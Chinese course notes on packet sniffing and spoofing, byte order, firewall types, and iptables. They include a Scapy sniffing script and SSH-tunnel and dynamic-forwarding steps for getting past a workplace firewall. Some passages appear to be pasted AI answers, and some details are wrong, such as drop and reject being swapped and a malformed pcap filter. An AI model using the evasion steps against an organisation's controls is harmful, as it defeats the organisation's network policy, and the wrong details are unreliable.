网络攻防原理概览

数据包嗅探和伪造背景

BPF 是什么?

BSD数据包过滤器

当进行网络嗅探时,嗅探器经常只会对某些特定类型的数据包感兴趣,如TCP数据包或者DNS数据包。 系统可以将所有捕获到的数据包交给嗅探程序,嗅探程序会丢弃它不需要的数据包,但是这种处理方式效率低下,因为 把这些没用的数据包从内核传到嗅探程序是需要花费CPU时间的。

UNIX操作系统定义了BSD数据包过滤器(BSD packet filter, BPF),用于在底层实现数据包的过滤。BPF允许用户 空间的程序将一个过滤器和一个套接字进行绑定,其本质上是为了告知内核尽早丢弃不需要的数据包。 过滤器一般是首先使用布尔操作符编写的可读性较强的代码,随后该代码被编译成伪代码传递给BPF驱动。

字节顺序

字节顺序和处理器架构有关,和几位操作系统无关 x86系列计算机都是小端序

小端字节顺序的计算机先写最低字节,大端是先写最高字节。

名字来由

来自《格列佛游记》,吃鸡蛋先敲大头还是小头。大端字节意味着先从大的字节开始保存。

网络字节序: 为了解决字节顺序不匹配的问题,IANA(Internet Assigned Numbers Authority,互联网 数字分配机构)定义了一种名为网络字节顺序的字节顺序,这就要求计算机在将多个字节数据写入数据包时使用这种字节 顺序,而不是操作系统的字节顺序。这种字节顺序和大端字节顺序是相同的。

字节序宏函数:为了方便网络字节序和本机字节序之间转换,提供了如下宏函数,从而使得代码有可移植性。

宏函数描述
htons() 把无符号短整数从本机字节序转网络字节序
htonl() 把无符号整数从本机字节序转网络字节序
ntohs() 把无符号短整数从网络字节序转本机字节序
ntohl() 把无符号整数从网络字节序转本机字节序

网卡如何接收数据?

网卡 (NIC) 是连接机器和网络的物理或逻辑设备。每张网卡都有一个独特的 MAC 地址,由 48 位二进制数字组成。网络上的所有网卡都能接收到线路上的所有数据帧。

当一个数据包到达时,网卡会检查它的目标 MAC 地址。如果目标 MAC 地址与该网卡的 MAC 地址相匹配,那么该数据包就会被复制到内核中的一个缓冲区。

如果不匹配,则数据包会被丢弃。 然而,当网卡处于混杂模式时,它会将接收到的所有数据包都传递给内核,这使得网络嗅探成为可能。 在 Wi-Fi 中,混杂模式被称为监控模式

为了进一步控制哪些数据包会被传递到应用程序,可以使用 BSD 数据包过滤器 (BPF)。 BPF 允许用户程序将过滤器附加到套接字,告诉内核丢弃不需要的数据包。 当内核接收到数据包时,BPF 会被调用,只有通过过滤器的包才会被推送到协议栈上。

PCAP 库 提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。 它允许程序员使用人类可读的布尔表达式指定过滤规则。 数据包嗅探 描述了捕获网络中实时数据的过程。 在使用 PCAP API 进行数据包嗅探时,数据包参数包含数据包的副本,包括以太网报头。 然后可以访问结构的字段,例如 IP 报头。

用户空间、内核空间和网卡

用户空间内核空间是操作系统的两个独立区域。用户空间是用户应用程序运行的地方,而内核空间是操作系统内核运行的地方,负责管理系统的硬件资源,包括网卡。

网卡 (NIC) 是计算机与网络之间的物理接口,负责发送和接收数据包。网卡工作在内核空间,因为它需要直接访问硬件资源。当网卡接收到一个数据包时,它会将其传递给内核。内核会根据数据包的目标地址和端口号等信息,将其转发给相应的应用程序,该应用程序运行在用户空间。

BPF (BSD Packet Filter)PCAP 库 都可以用来捕获和过滤网络数据包。BPF 允许用户空间程序将过滤器附加到套接字,告诉内核丢弃不需要的数据包。PCAP 库提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。

混杂模式是一种特殊的网卡工作模式,它允许网卡接收所有网络流量,而不仅仅是发给它的数据包。这对于网络嗅探非常有用。 在 Wi-Fi 中,混杂模式被称为监控模式

数据包伪造是一种网络攻击技术,攻击者可以伪造数据包的源地址、目标地址等信息,以欺骗网络设备或应用程序。

总而言之,网卡是连接用户空间和内核空间的关键组件。网卡工作在内核空间,负责接收和发送数据包。内核会根据数据包的信息,将其转发给相应的应用程序,该应用程序运行在用户空间。BPF 和 PCAP 库可以用来捕获和过滤网络数据包,而混杂模式可以用来接收所有网络流量。数据包伪造是一种网络攻击技术,可以用来欺骗网络设备或应用程序。

数据包嗅探 (sniffing)

数据包嗅探是指捕获网络中实时数据的过程。简而言之,它就像在网络中放置一个“监听器”,监听所有经过的数据包。

为了实现数据包嗅探,需要网卡工作在混杂模式下。在正常模式下,网卡只接收目标 MAC 地址与自身 MAC 地址匹配的数据包。而在混杂模式下,网卡会接收所有经过的数据包,无论目标 MAC 地址是什么。在 Wi-Fi 中,混杂模式被称为监控模式

捕获数据包后,可以使用 BPF (BSD Packet Filter) 进行过滤。BPF 允许用户程序将过滤器附加到套接字,告诉内核只保留符合特定条件的数据包,例如特定协议、源地址或目标地址的数据包。

PCAP 库 提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。它在内部使用原始套接字,但其 API 在所有平台上都是标准的,并允许程序员使用人类可读的布尔表达式指定过滤规则。

通过分析捕获的数据包,可以获取各种信息,例如:

  • 网络流量模式

  • 用户行为

  • 敏感数据,例如用户名、密码等

因此,数据包嗅探可以用于各种目的,例如:

  • 网络监控和故障排除

  • 安全审计

  • 入侵检测

  • 网络攻击

但是,数据包嗅探也可能被用于恶意目的,例如窃取敏感信息。因此,在进行数据包嗅探时,务必遵守相关的法律法规和道德规范。

Clip_2024-11-05_16-02-56

Clip_2024-11-05_16-03-28

原始套接字和套接字

原始套接字和普通套接字的区别

普通套接字当内核接收到数据包时,它会通过网络协议栈传递数据包,并最终将数据包的载荷(payload)通过socket传递 给应用程序。 对于原始套接字,内核首先会向socket(和它的应用)传递数据包的一份拷贝,包括链路层头部等信息,然后再进一步将数据 包传递给协议栈。raw socket不会拦截数据包,只是得到了数据包的一份拷贝。

PCAP 库的定义和必要性

PCAP(Packet Capture)库是一个用于捕获和分析网络流量的应用程序编程接口(API)。它提供了一个跨平台的标准接口,用于访问和处理网络数据包。

PCAP 库的必要性源于直接使用原始套接字进行数据包捕获的局限性。虽然原始套接字允许程序直接访问网络层协议,但这种方法存在以下缺陷:

  • 程序不可移植: 使用原始套接字编写的程序难以在不同操作系统之间移植。

  • 设置过滤器困难: 使用原始套接字设置数据包过滤器较为复杂。

  • 缺乏性能优化: 原始套接字编程通常缺乏性能优化,效率较低。

PCAP 库的出现解决了这些问题。它在内部仍然使用原始套接字,但通过提供一个统一的 API,隐藏了不同操作系统之间的差异,使程序更易于移植。同时,PCAP 库提供了使用人类可读的布尔表达式来指定过滤规则的功能,简化了数据包过滤的设置。

此外,PCAP 库还提供了一些性能优化,例如使用BPF (BSD Packet Filter) 进行高效的数据包过滤。

PCAP 库被广泛应用于各种网络工具和应用程序中,例如:

  • 网络嗅探器: 用于捕获和分析网络流量,例如 Wireshark 和 tcpdump。

  • 入侵检测系统: 用于检测和阻止网络攻击。

  • 网络性能分析工具: 用于分析网络流量,识别性能瓶颈。

总而言之,PCAP 库提供了一种强大、灵活且易于使用的方式来捕获和分析网络流量,克服了使用原始套接字方法的局限性。它已成为网络安全和网络管理领域不可或缺的工具。

数据包伪造 (Spoofing)

数据包伪造是指在数据包中的一些关键信息被篡改,例如源地址、目标地址等,以欺骗网络设备或应用程序的行为。许多网络攻击都依赖于数据包伪造,例如 ARP 欺骗、DNS 欺骗等。

数据包伪造的步骤

数据包伪造主要分为两个步骤:

  1. 构建数据包: 攻击者需要根据目标协议和攻击目的,构建一个包含伪造信息的自定义数据包。例如,如果要伪造 UDP 数据包,则需要构建一个包含 UDP 报头的自定义数据包,并在 UDP 报头中填写伪造的源端口号、目标端口号等信息。

  2. 发送数据包: 构建好数据包后,攻击者需要使用原始套接字将数据包发送到目标网络设备或应用程序。

使用原始套接字进行数据包伪造

原始套接字是一种特殊的套接字类型,它允许用户程序直接访问网络层协议,例如 IP 协议。 使用原始套接字,攻击者可以构建和发送自定义的 IP 数据包,并在数据包中填写伪造的信息。

由于原始套接字编程比较复杂,因此可以使用 Scapy 等工具来简化数据包的构建和发送过程。 Scapy 是一个基于 Python 的数据包操作库,它可以方便地构建、发送、接收、分析和伪造网络数据包。

数据包伪造的应用

数据包伪造可以用于各种网络攻击,例如:

  • 拒绝服务攻击 (DoS): 攻击者可以伪造大量的数据包,并将这些数据包发送到目标服务器,从而导致服务器瘫痪。

  • 中间人攻击 (MITM): 攻击者可以伪造数据包,拦截客户端和服务器之间的通信,从而窃取敏感信息或篡改通信内容。

  • ARP 欺骗: 攻击者可以伪造 ARP 数据包,将自己的 MAC 地址与目标 IP 地址绑定,从而拦截目标设备的网络流量。

防范数据包伪造

为了防范数据包伪造攻击,可以采取以下措施:

  • 使用防火墙: 防火墙可以根据数据包的源地址、目标地址、端口号等信息,过滤掉可疑的数据包。

  • 使用入侵检测系统 (IDS): IDS 可以检测网络中的异常流量,并发出警报。

  • 使用安全协议: 例如,使用 HTTPS 协议可以加密通信内容,防止中间人攻击。

  • 对网络设备进行安全配置: 例如,配置路由器以防止 ARP 欺骗。

嗅探然后伪造

在许多情况下,我们需要先捕获数据包,然后根据捕获的数据包伪造响应。

使用 UDP 作为例子的步骤

  1. 使用 PCAP API 捕获感兴趣的数据包。

  2. 从捕获的数据包中创建一个副本。

  3. 将 UDP 数据字段替换为新消息,并交换源字段和目标字段。

  4. 发送伪造的回复。

使用 Scapy 进行数据包嗅探和伪造

Scapy 是一个强大的基于 Python 的数据包操作库,它可以轻松构建、发送、接收、分析和伪造网络数据包。使用 Scapy,您可以执行以下操作:

  • 嗅探和捕获特定类型的数据包,例如 UDP 数据包。

  • 从捕获的数据包中提取信息,例如源 IP 地址、目标 IP 地址、源端口号和目标端口号。

  • 使用提取的信息构建新的数据包,并在其中添加自定义消息或修改现有字段。

  • 将伪造的数据包发送到目标设备。

Scapy 与 C 语言在数据包伪造方面的比较

  • Python + Scapy

    • 优点:构建数据包非常简单。

    • 缺点:比 C 代码慢得多。

  • C 程序(使用原始套接字)

    • 优点:速度快得多。

    • 缺点:构建数据包很复杂。

  • 混合方法

    • 使用 Scapy 构建数据包。

    • 使用 C 语言稍微修改数据包,然后发送数据包。

字节序

字节序是指多字节数据项在内存中存储的顺序。

  • 小端序:将数据的最高有效字节存储在最高地址。

  • 大端序:将数据的最高有效字节存储在最低地址。

网络通信中的字节序

  • 具有不同字节序的计算机将“误解”彼此。

    • 解决方案:就通信的共同顺序达成一致。

    • 这被称为“网络字节序”,它与大端序相同。

  • 所有计算机都需要在“主机字节序”和“网络字节序”之间转换数据。

使用Scapy进行数据包嗅探

Scapy是一个强大的基于Python的数据包操作库,可以轻松构建、发送、接收、分析和伪造网络数据包。

虽然您提供的资料中没有明确说明如何使用Scapy进行数据包嗅探,但基于Scapy的功能和数据包嗅探的步骤,我们可以推测出以下步骤:

  1. 导入Scapy库: 在Python脚本中导入Scapy库。

  2. 定义嗅探过滤器: 使用BPF语法或Scapy的过滤函数定义要捕获的数据包类型,例如,只捕获UDP数据包。

  3. 指定网络接口: 选择要嗅探数据包的网络接口,例如eth0或wlan0。

  4. 开始嗅探: 使用Scapy的sniff函数开始捕获数据包,并将捕获的数据包存储在列表或其他数据结构中。

  5. 处理捕获的数据包: 可以使用Scapy的各种函数分析和处理捕获的数据包,例如,提取源IP地址、目标IP地址、端口号等信息。

示例代码:

from scapy.all import *

# 定义过滤器,只捕获UDP数据包
filter_expression = "udp"

# 指定网络接口
interface = "eth0"

# 开始嗅探数据包,并将捕获的数据包存储在packets列表中
packets = sniff(iface=interface, filter=filter_expression)

# 处理捕获的数据包
for packet in packets:
  # 打印数据包的摘要信息
  print(packet.show())

注意: 这段代码只是一个示例,实际使用时需要根据具体需求进行修改。

Scapy的优势:

  • 使用Python编写,语法简单易懂。

  • 提供丰富的函数库,可以方便地构建、发送、接收、分析和伪造各种网络数据包。

  • 跨平台支持,可以在Windows、Linux和macOS等操作系统上运行。

Scapy的劣势:

  • 性能相对较低,不适合处理高速网络流量。

总结:

Scapy是一个功能强大的数据包操作工具,可以用于各种网络安全研究和测试。 使用Scapy进行数据包嗅探可以方便地捕获和分析网络流量,并为进一步的数据包伪造提供基础。

Pcap过滤器实例

dst host 10.0.2.5 只捕获目的ip地址为10.0.2.5的数据包 src host 10.0.2.6 只捕获源ip地址为10.0.2.6的数据包 host 10.0.2.6 and src host port 9090 只捕获源或目的ip地址为10.0.2.6,并且源端口号为9090的数据包 proto tcp 只捕获TCP数据包

路由跟踪traceroute

traceroute是用来检测发出数据包的主机到目标主机之间所经过的网关数量的工具。 traceroute的原理是试图以最小的TTL(存活时间)发出探测包来跟踪数据包到达目标主机所经过的网关, 然后监听一个来自网关ICMP的应答。发送数据包的大小默认为38个字节。

Traceroute程序完整过程

首先它发送一份TTL字段为1的IP数据包给目的主机,处理这个数据包的第一个路由器将TTL值减1, 然后丢弃该数据报,并给源主机发送一个ICMP报文(“超时”信息,这个报文包含了路由器的IP地址,这样就得到了第一个路由器的地址), 然后traceroute发送一个TTL为2的数据报来得到第二个路由器的IP地址,继续这个过程,直至这个数据报到达目的主机。

如何检查你的 CPU 是大端序还是小端序?

字节序是指多字节数据(例如整数)在计算机内存中存储的顺序。 大端序将数据的最高有效字节存储在最低地址,而小端序将数据的最高有效字节存储在最高地址。

为了确定 CPU 使用的是大端序还是小端序,您可以使用联合体和 C 代码。以下代码片段说明了这种方法:

int checkCPU() {
  union w {
      int a;
      char b;
  } c;
  c.a = 1;
  return (c.b == 1);
}

代码解释:

  1. 联合体: 代码使用一个名为 w 的联合体。联合体是一种特殊的数据类型,允许在相同的内存位置存储不同类型的数据。 在这种情况下,联合体 w 包含一个整数 a 和一个字符 b

  2. 赋值: 代码将整数 1 赋值给联合体成员 c.a。 由于整数通常占用多个字节(例如 4 字节),而字符只占用 1 个字节,因此联合体的所有成员共享相同的内存位置。

  3. 比较: 代码比较联合体成员 c.b 的值是否等于 1

结果分析:

  • 如果 c.b == 1,则 CPU 使用小端序。 这是因为在小端序机器中,整数 1 的最低有效字节(值为 1)存储在最低地址,而该地址也被字符 b 占用。

  • 如果 c.b != 1,则 CPU 使用大端序。 这是因为在大端序机器中,整数 1 的最高有效字节(值为 0)存储在最低地址,而该地址也被字符 b 占用。

在大端序和小端序中,整数 1 的 16 进制存储形式是不同的。假设 int 类型占用 4 字节(32 位),整数 1 的 16 进制表示是 0x00000001

1. 大端序中的 16 进制表示

大端序(Big Endian)中,高位字节存储在低地址,低位字节存储在高地址。因此,整数 1 在内存中的存储顺序如下:

地址:   [低地址]  --------->  [高地址]
内容:   0x00   0x00   0x00   0x01

所以在大端序中,116 进制表示为:

0x00 0x00 0x00 0x01

2. 小端序中的 16 进制表示

小端序(Little Endian)中,低位字节存储在低地址,高位字节存储在高地址。因此,整数 1 在内存中的存储顺序如下:

地址:   [低地址]  --------->  [高地址]
内容:   0x01   0x00   0x00   0x00

所以在小端序中,116 进制表示为:

0x01 0x00 0x00 0x00

总结对比

字节序类型内存存储顺序(16 进制表示)
大端序 0x00 0x00 0x00 0x01
小端序 0x01 0x00 0x00 0x00

 

总结:

 

 

在网络通信中,字节序是一个重要问题,因为不同字节序的计算机可能会“误解”彼此的数据2。

为了解决这个问题,网络通信协议采用了一种共同的字节序,称为网络字节序,它与大端序相同2。

因此,所有计算机都需要在主机字节序(CPU 使用的字节序)和网络字节序之间转换数据2。

例如,如果一台小端序计算机要向一台大端序计算机发送一个整数,它需要先将整数转换为网络字节序(大端序),然后再发送。 接收方收到数据后,需要将其从网络字节序转换回主机字节序(小端序)。

这样做可以确保所有计算机都能正确地解释数据,无论其 CPU 使用的是哪种字节序。

Problems & Discussions • An integer 0xAABBCCDD is stored in a memory address starting from 0x1000. If the machine is a Big-Endian machine, what is the value stored in addresses 0x1000, 0x1001, 0x1002, and 0x1003, respectively? If the machine is a Little-Endian machine, how is this integer stored?大端序和小端序机器中的整数存储

大端序机器中,最高有效字节存储在最低地址。 因此,整数 0xAABBCCDD 将按以下方式存储:

  • 0x1000: AA

  • 0x1001: BB

  • 0x1002: CC

  • 0x1003: DD

小端序机器中,最低有效字节存储在最低地址。 因此,整数 0xAABBCCDD 将按以下方式存储:

  • 0x1000: DD

  • 0x1001: CC

  • 0x1002: BB

  • 0x1003: AA

在网络通信中,为了避免不同字节序的计算机之间出现“误解”,会使用网络字节序,它与大端序相同。 所有计算机都需要在主机字节序网络字节序之间转换数据。

网络层安全

什么是IP以及为什么需要IP?

IP协议是TCP/IP协议簇的核心协议,它提供最基本的数据传输服务,是实现网络互联的基础协议。

为什么需要IP?

  • 屏蔽底层差异: IP层通过IP地址实现了物理地址的统一,并通过IP数据报实现了物理数据帧的统一,从而屏蔽了底层网络的差异。 这就好比一个通用的翻译器,可以让使用不同语言的人们互相理解。

  • 实现网络互联: IP协议是实现不同网络之间互联的基础,使得数据可以在不同类型的网络之间进行传输。

  • 不保证可靠性: IP协议本身不保证传输的可靠性,也不对数据进行差错校验和跟踪。当数据报发生 损坏时不向发送方通告。可靠传输由更上层的协议(如TCP)负责。

  • IP协议报文格式与封装: IP协议使用特定的报文格式和封装方式来传输数据。。

总之,IP协议就像网络世界中的“邮政系统”,它负责将数据包从一个地方传递到另一个地方,但它并不保证邮件一定会送达或者邮件的内容是完好无损的。

Clip_2024-11-06_16-30-57

IP 防火墙技术详

IP 防火墙技术是网络安全的重要组成部分,用于保护网络免受未经授权的访问和攻击。

防火墙的功能:

  • 作为计算机系统或网络的一部分,用于阻止未经授权的流量从一个网络流向另一个网络。

  • 隔离网络中可信和不可信的组件。

  • 区分可信网络内的网络。

  • 主要功能是过滤数据、重定向流量和防御网络攻击。

防火墙的要求:

  • 所有信任区域之间的流量都必须通过防火墙。

  • 只有安全策略定义的授权流量才允许通过。

  • 防火墙本身必须不受渗透,这意味着要使用具有安全操作系统的加固系统。

防火墙策略:

  • 用户控制:根据尝试访问数据的用户角色控制对数据的访问。 应用于防火墙边界内的用户。

  • 服务控制:通过主机提供的服务类型控制访问。 基于网络地址、连接协议和端口号进行应用。

    服务控制是指根据访问的“服务类型”来决定是否允许访问。防火墙会依据网络地址(用户所在的网络)、连接协议(如TCP或UDP)以及端口号(表示具体服务)来判断是否允许访问。例如,防火墙可以设置规则,让某些设备只能访问特定端口,阻止其他未授权的连接。这种控制方式有助于限制只能通过安全的服务来访问网络资源,防止未经允许的服务接入。

  • 方向控制:确定可以启动请求并允许其流经防火墙的方向。 它指示流量是“入站”(从网络到防火墙)还是反之亦然“出站”。

防火墙操作:

  • 接受:允许通过防火墙进入连接的网络/主机。

  • 拒绝:不允许进入防火墙的另一侧。

  • 丢弃:类似于拒绝,但通过 ICMP 数据包告知源此决定。

  • 入站过滤:检查传入流量以保护内部网络并防止来自外部的攻击。

  • 出站过滤:检查传出流量并防止内部网络中的用户访问外部网络,例如阻止学校中的社交网站。

防火墙类型:

根据操作模式,防火墙分为三种类型:

  • 包过滤防火墙: 仅根据数据包头中的信息控制流量,而不查看包含应用程序数据的有效负载。 不关注数据包是否是现有流或流量的一部分,也不维护有关数据包的状态。 也称为无状态防火墙。

  • Clip_2024-11-06_16-52-22

    特点:

    • 基于OSI模型的网络层(第三层)操作。

    • 通过检查数据包的源地址、目的地址、端口号、协议等信息来决定是否放行数据包。

    • 无法检测应用层的内容,只关注每个数据包的基本信息。

    • 配置简单,但提供的安全性较低,容易受到较高级别的攻击(如应用层攻击)。

    连接过程举例: 假设一个用户设备向服务器发出一个HTTP请求,数据包过滤器会检查这个请求的数据包是否符合规则,比如源IP和目标IP、源端口和目标端口是否允许通过。如果规则允许,则数据包会被放行;否则数据包会被丢弃。

    优缺点:

    • 优点:速度快,对性能影响较小,适合低延迟的环境。

    • 缺点:安全性较低,无法深入检查数据内容,只能过滤基本信息。

  • 状态防火墙: 通过监控所有连接交互直到其关闭来跟踪流量状态。 维护连接状态表以了解数据包的上下文。 例如,仅允许通过持有打开连接的端口进行连接。

  • Clip_2024-11-06_16-53-04

    特点:

    • 基于OSI模型的网络层和传输层(第四层)操作。

    • 记录数据包的“状态”,维护一个“连接状态表”,跟踪每个会话的状态(如建立、传输中、关闭)。

    • 在检查数据包的基础信息的同时,还检查会话的上下文,以确保数据包属于一个合法的会话。

    • 比数据包过滤器更智能,能防止伪装攻击(如TCP伪造)。

    连接过程举例: 当一个用户设备向服务器发起TCP连接请求(如HTTP请求),状态防火墙会首先检查TCP连接的初始握手过程(三次握手),记录这个连接的状态。后续的数据包会匹配这个连接状态,确保都是合法会话的一部分。如果检测到数据包不符合连接状态(如缺少握手过程),则会拒绝连接。

    优缺点:

    • 优点:能识别并追踪会话,提供更高的安全性,能抵御伪造攻击。

    • 缺点:比数据包过滤器略慢,占用更多内存来记录会话状态,适合对安全要求较高的环境。

       

  • 应用/代理防火墙: 控制来自/到应用程序或服务的输入、输出和访问。 通过模拟目标接收者充当中间人。 客户端的连接在代理处终止,并从代理到目标主机启动一个单独的连接。 连接上的数据将被分析到应用层,以确定是否应该传递数据包。

  • Clip_2024-11-06_17-00-55

    特点:

    • 基于OSI模型的应用层(第七层)操作。

    • 深入检查应用层的数据内容,如HTTP请求的URL、电子邮件的内容等。

    • 能够识别和控制特定应用(如HTTP、FTP、SMTP等)的流量,并检测和过滤应用层的恶意行为。

    • 提供最高级别的安全性,适合防范SQL注入、XSS等应用层攻击。

    连接过程举例: 当用户通过浏览器向服务器发出HTTP请求时,应用防火墙不仅会检查数据包的基本信息,还会深入解析HTTP请求,检查URL和请求内容。如果请求内容包含恶意代码(如SQL注入或跨站脚本攻击的代码),应用防火墙会阻止请求进入,保护服务器。

    优缺点:

    • 优点:安全性最高,能检测应用层的恶意内容,适合保护Web应用。

    • 缺点:处理过程复杂,性能消耗较大,可能会影响传输速度。

 

从容易受到攻击的角度来看,不同类型的防火墙因其工作层级和检查深度的差异,对某些攻击的防御能力有所不同。以下是三种防火墙容易受到的攻击类型及原因。


1. 数据包过滤器(Packet Filtering Firewall)

容易受到的攻击:

  • IP 欺骗(IP Spoofing):数据包过滤器只检查源和目标IP地址等基础信息,无法识别IP地址是否被伪造。攻击者可以通过伪造合法IP地址的方式骗过防火墙,使其放行伪造的数据包。

  • 分片攻击(Fragmentation Attacks):在一些情况下,数据包可以被分片发送,而数据包过滤器可能会放行这些分片数据包,但无法重组并验证完整数据包是否安全,这让攻击者可能通过特定的分片方式隐藏恶意数据。

  • 端口扫描(Port Scanning):数据包过滤器无法检测连接的上下文和状态,攻击者可以通过端口扫描来探测开放的端口,获得网络中活跃设备的服务信息,从而为后续攻击提供线索。

  • 应用层攻击(如SQL注入、XSS等):数据包过滤器工作在网络层,对应用层的数据内容不进行检查,因此无法防御SQL注入、跨站脚本(XSS)等高级应用层攻击。

总结:数据包过滤器的防护能力较弱,尤其是针对复杂的应用层攻击和伪造攻击,容易被绕过。


2. 状态防火墙(Stateful Inspection Firewall)

容易受到的攻击:

  • 拒绝服务攻击(DoS/DDoS):状态防火墙会追踪连接的状态,并维护一个连接状态表。在拒绝服务攻击中,攻击者可以发送大量伪造的连接请求,消耗防火墙的内存和处理资源,导致连接状态表被填满,从而使合法连接无法进入。

  • 中间人攻击(Man-in-the-Middle, MITM):状态防火墙能够追踪会话状态,但并不检查数据包的内容。攻击者可以通过劫持连接会话,在会话中植入恶意数据,状态防火墙可能会认为数据合法并放行,导致数据泄露或被篡改。

  • TCP会话劫持(TCP Session Hijacking):攻击者可以在建立会话后截获TCP会话并伪造数据。状态防火墙会认为这些伪造的数据包属于已有会话,因此可能放行,从而给攻击者提供了会话控制权。

总结:状态防火墙比数据包过滤器更安全,但在面对DDoS攻击、会话劫持等连接层面上的攻击仍有不足。


3. 应用防火墙(Application Firewall)

容易受到的攻击:

  • 加密流量攻击:应用防火墙通常依赖于明文数据进行深层检查。如果攻击者通过加密的流量传输恶意代码(如通过HTTPS加密的恶意流量),应用防火墙可能无法检测到内容中的潜在威胁。

  • 零日攻击(Zero-Day Attack):应用防火墙依赖于已知的攻击模式或签名进行检测,无法识别从未出现过的新型攻击。攻击者通过未知的漏洞发起零日攻击时,应用防火墙可能无法有效防御。

  • 性能耗尽攻击:应用防火墙因为需要深度检查应用层的数据,性能消耗较大,容易受到针对性性能耗尽攻击。例如,通过发送大量复杂的HTTP请求,攻击者可以使应用防火墙过载,从而影响网络性能。

  • 恶意重定向和绕过:攻击者可能利用协议漏洞或应用逻辑,伪装成合法流量或利用绕过机制,使应用防火墙难以识别并阻止。例如,某些绕过技术可以让恶意数据伪装成普通请求通过应用防火墙的检查。

总结:应用防火墙在应用层检查上具有更强的防护能力,但面对加密流量、零日攻击和耗尽资源攻击时仍存在不足。


总结对比

防火墙类型容易受到的攻击类型原因
数据包过滤器 IP欺骗、分片攻击、端口扫描、应用层攻击 只检查基本信息,缺乏状态追踪和内容检查
状态防火墙 DDoS攻击、中间人攻击、TCP会话劫持 跟踪会话但不检查数据内容,易受伪造攻击
应用防火墙 加密流量攻击、零日攻击、性能耗尽攻击、恶意绕过 深层检查耗资源,对新型及加密攻击无防护

不同类型的防火墙适合应对不同的威胁,结合使用多层防护措施可以提升网络整体安全性。

 

规避防火墙的方法

 

  • SSH 隧道: SSH 隧道可以在您的计算机和外部服务器之间创建一个加密通道,防火墙无法看到该通道中的流量,因此无法对其进行过滤。您可以使用 SSH 隧道访问被防火墙阻止的网站或服务。

    • 示例场景:假设您在公司工作,需要远程登录到名为“work”的机器。但公司的防火墙阻止了所有传入流量,使您无法在家中通过telnet连接到“work”。不过,公司的防火墙允许SSH流量到达其内部机器“apollo”,您在该机器上拥有一个帐户。在这种情况下,您可以利用这台机器来规避防火墙。

      1. 在“home”和“apollo”之间建立一个SSH隧道。

      2. 在“home”端,隧道接收来自telnet客户端的TCP数据包。

      3. 它将TCP数据转发到“apollo”端,然后数据被封装在另一个TCP数据包中,发送到机器“work”。

      4. 防火墙只能看到“home”和“apollo”之间的流量,而看不到“apollo”和“work”之间的流量,从而实现规避防火墙的目的。

    • 示例场景:假设您在公司工作,在名为“work”的机器上工作。您想访问Facebook,但公司为了防止员工分心,屏蔽了Facebook。您可以使用外部机器“home”来绕过这样的防火墙。

      1. 从“work”到“home”建立一个ssh隧道。

      2. 建立隧道后,您可以在浏览器中输入“localhost:8000”。

      3. 隧道将通过“home”将您的HTTP请求转发到Facebook。

      4. 防火墙只能看到“work”和“home”之间的ssh流量,而看不到“work”和“Facebook”之间的实际网络流量,从而实现规避防火墙的目的。

        Clip_2024-11-06_17-18-08

  • 动态端口转发: 动态端口转发是一种 SSH 隧道技术,它可以将您的所有流量转发到外部服务器。这就像使用代理服务器一样,可以隐藏您的真实 IP 地址,从而绕过防火墙的限制。

    • 示例场景:使用以下命令在本地主机(端口9000)和机器“home”之间建立一个SSH隧道。这里我们没有指定端口转发的目的地。

      ssh -D 9000 user@home
    • 将浏览器配置为所有请求都通过 localhost:9000,将其视为代理。

    • 配置好浏览器后,您可以输入任何被阻止网站的URL,它将连接到本地主机端口9000上的ssh代理。

    • ssh会通过隧道将TCP数据发送到机器“home”,然后“home”会与被阻止的网站进行通信。

  • 使用VPN规避防火墙: 使用VPN可以在网络内部的计算机和外部的计算机之间创建隧道。可以通过此隧道发送IP数据包。由于隧道流量已加密,因此防火墙无法看到此隧道内的内容,也无法进行过滤。

    • 请注意,以上信息仅来自您提供的资料。VPN的具体实现和效果可能因供应商和配置而异。

  • 使用 Web 代理: Web 代理可以作为您和目标服务器之间的中介,隐藏您的真实 IP 地址。防火墙只能看到您和代理服务器之间的流量,而看不到代理服务器和目标服务器之间的流量。一些 Web 代理还可以提供匿名化服务,进一步提高您的隐私和安全性。

    • 示例场景: 如果防火墙根据目标地址进行数据包过滤,您可以通过使用 Web 代理浏览 Internet 来规避此防火墙。目标地址将被修改为代理服务器,从而绕过防火墙的数据包过滤规则。

    • 匿名代理:您还可以使用代理来隐藏服务器的网络请求来源。由于服务器只能在流量通过代理后才能看到流量,因此源 IP 将是代理的 IP,实际来源将被隐藏。

 

用iptables实现一个防火墙

Linux自带的iptables防火墙也是基于Netfilter的。该防火墙在内核中的部分叫做xtables,而iptables是用户空间用来 设置防火墙的程序。 然而,iptables经常作为内核部分和用户空间部分两者的统称。

iptables防火墙的结构

iptables防火墙不仅可以用来过滤数据包,还可以修改数据包。为了方便管理,iptables使用表和链来管理不同用途的防火墙规则。 iptables主要有5个表:filter、nat、mangle、raw和security。

表的用途

过滤数据包规则放在filter 修改数据包规则放在nat或mangle 只修改源和目的地址的规则放在nat表中,其他放在mangle

每个表中有若干个链,每个链对应一个Netfilter的钩子

iptables修改防火墙规则

实验目标是使所有数据包的生存时间TTL增大5 修改前TCP包TTL是64 修改前

修改TTL 修改ttl

修改后ttl时间变成69 修改后

-t mangle,修改数据包,用mangle表 -A POSTROUTING,附加到POSTROUTING链上

搭建一个简单的防火墙

实验目的是丢弃除80端口和22端口之外的所有数据包

Note

iptables命令中如果没有用-t选项选择一个具体的表,则默认选择的是filter表

默认规则是接受所有数据包,配置如下:

sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT

设置规则前必须要清空所有的链

sudo iptables -F

例如,从INPUT链开始,打开端口号22和80以提供SSH和Web服务,命令如下:

sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

-A INPUT,把规则加到INPUT链上 -p tcp,该规则只用于TCP数据包 --dport nn,目标端口号

为了让SSH和HTTP服务能发送响应消息给客户端,需要允许对外发送TCP数据包,命令如下:

sudo iptables -A OUTPUT -p tcp -j ACCEPT

-j ACCEPT,接受满足此规则的包

同一个系统中的不同程序间往往也使用数据包来通信,它们利用一个称为loopback的虚拟接口,这个接口把信息导回自己, 应开启这个防火墙规则:

sudo iptables -I INPUT 1 -i lo -j ACCEPT

-I INPUT 1,把规则加到INPUT链的第一个位置上 -i lo, 选择发往loopback接口的数据包

需要允许DNS的查询和回复,DNS使用的是UDP端口53,如果DNS服务不在本机,只需执行:

